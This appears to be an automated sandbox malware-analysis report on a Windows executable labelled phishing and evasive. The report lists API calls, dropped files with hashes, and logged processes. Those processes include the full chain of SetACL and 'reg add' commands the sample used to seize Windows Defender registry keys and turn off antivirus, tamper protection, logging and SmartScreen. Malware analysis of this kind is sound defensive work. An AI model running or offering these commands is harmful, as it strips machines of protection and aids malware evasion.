Code function: 0_2_0040350F EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040350F

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C174C28F	4_2_00007FF7C174C28F
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C173E4B0	4_2_00007FF7C173E4B0
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C17494BC	4_2_00007FF7C17494BC
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1753410	4_2_00007FF7C1753410
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C17013F0	4_2_00007FF7C17013F0
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C172A350	4_2_00007FF7C172A350
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C172BC40	4_2_00007FF7C172BC40
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1736B2A	4_2_00007FF7C1736B2A
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1754218	4_2_00007FF7C1754218
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C173C250	4_2_00007FF7C173C250
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C17163E0	4_2_00007FF7C17163E0
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C175A31C	4_2_00007FF7C175A31C
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1738360	4_2_00007FF7C1738360
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C174F394	4_2_00007FF7C174F394
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C175669C	4_2_00007FF7C175669C
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C173A630	4_2_00007FF7C173A630
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C170F650	4_2_00007FF7C170F650
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C172E530	4_2_00007FF7C172E530
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1717580	4_2_00007FF7C1717580
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1759718	4_2_00007FF7C1759718
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C175B74C	4_2_00007FF7C175B74C
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C175C76C	4_2_00007FF7C175C76C
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1701A30	4_2_00007FF7C1701A30
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C174FB00	4_2_00007FF7C174FB00
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1727B10	4_2_00007FF7C1727B10
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C173F9C0	4_2_00007FF7C173F9C0
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C170E9D0	4_2_00007FF7C170E9D0
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C174EA10	4_2_00007FF7C174EA10
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1763C64	4_2_00007FF7C1763C64
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C170CB20	4_2_00007FF7C170CB20
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C174BFE8	4_2_00007FF7C174BFE8
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C175DFF0	4_2_00007FF7C175DFF0
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C174EF30	4_2_00007FF7C174EF30
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C175EF6C	4_2_00007FF7C175EF6C

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\PowerRun64.exe 5F9DFD9557CF3CA96A4C7F190FC598C10F8871B1313112C9AEA45DC8443017A2
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe 4EFC87B7E585FCBE4EAED656D3DBADAEC88BECA7F92CA7F0089583B428A6B221
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\nsExec.dll 01E72332362345C415A7EDCB366D6A1B52BE9AC6E946FB9DA49785C140BA1A4B

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: String function: 00007FF7C1709D20 appears 94 times
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: String function: 00007FF7C17094C0 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: String function: 00007FF7C170AC70 appears 93 times
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: String function: 00007FF7C1709CB0 appears 69 times
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: String function: 00007FF7C1713F80 appears 116 times

Source: Ms63nDrOBa.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f

Source: classification engine

Classification label: mal96.phis.evad.winEXE@149/9@0/0

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

Code function: 4_2_00007FF7C171BF60 GetLastError,#13,SysStringByteLen,SysAllocStringByteLen,SysFreeString,LoadLibraryExW,LoadLibraryExW,FormatMessageW,LocalFree,FreeLibrary,_invalid_parameter_noinfo_noreturn,

4_2_00007FF7C171BF60

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Code function: 0_2_0040350F EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,	0_2_0040350F
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1723A5E AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,GetLastError,CloseHandle,GetCurrentProcess,OpenProcessToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetLastError,	4_2_00007FF7C1723A5E
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1723D1B AdjustTokenPrivileges,GetLastError,CloseHandle,GetLastError,CloseHandle,GetCurrentProcess,OpenProcessToken,GetLastError,	4_2_00007FF7C1723D1B
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C1723FD8 AdjustTokenPrivileges,GetLastError,CloseHandle,GetLastError,CloseHandle,	4_2_00007FF7C1723FD8
Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Code function: 4_2_00007FF7C17142A0 GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,CloseHandle,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLastError,CloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	4_2_00007FF7C17142A0

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

Code function: 0_2_004049A4 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049A4

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

Code function: 0_2_004021AF CoCreateInstance,

0_2_004021AF

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe

Code function: 4_2_00007FF7C1714810 FindResourceW,LoadResource,LockResource,FreeResource,_invalid_parameter_noinfo_noreturn,

4_2_00007FF7C1714810

Source: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3776:120:WilError_03

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

File created: C:\Users\user\AppData\Local\Temp\nse5B60.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn.bat

Source: Ms63nDrOBa.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Ms63nDrOBa.exe	ReversingLabs: Detection: 28%
Source: Ms63nDrOBa.exe	Virustotal: Detection: 33%

Source: SetACL64.exe	String found in binary or memory: Type 'SetACL -help' for help.
Source: SetACL64.exe	String found in binary or memory: -help
Source: SetACL64.exe	String found in binary or memory: Type 'SetACL -help' for help.

Source: C:\Users\user\Desktop\Ms63nDrOBa.exe

File read: C:\Users\user\Desktop\Ms63nDrOBa.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Ms63nDrOBa.exe "C:\Users\user\Desktop\Ms63nDrOBa.exe"
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn1.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Mpuser" /v "MpEnablePus" /t reg_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn.bat	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nse5B61.tmp\bn1.bat	Jump to behavior
Source: C:\Users\user\Desktop\Ms63nDrOBa.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f	Jump to behavior
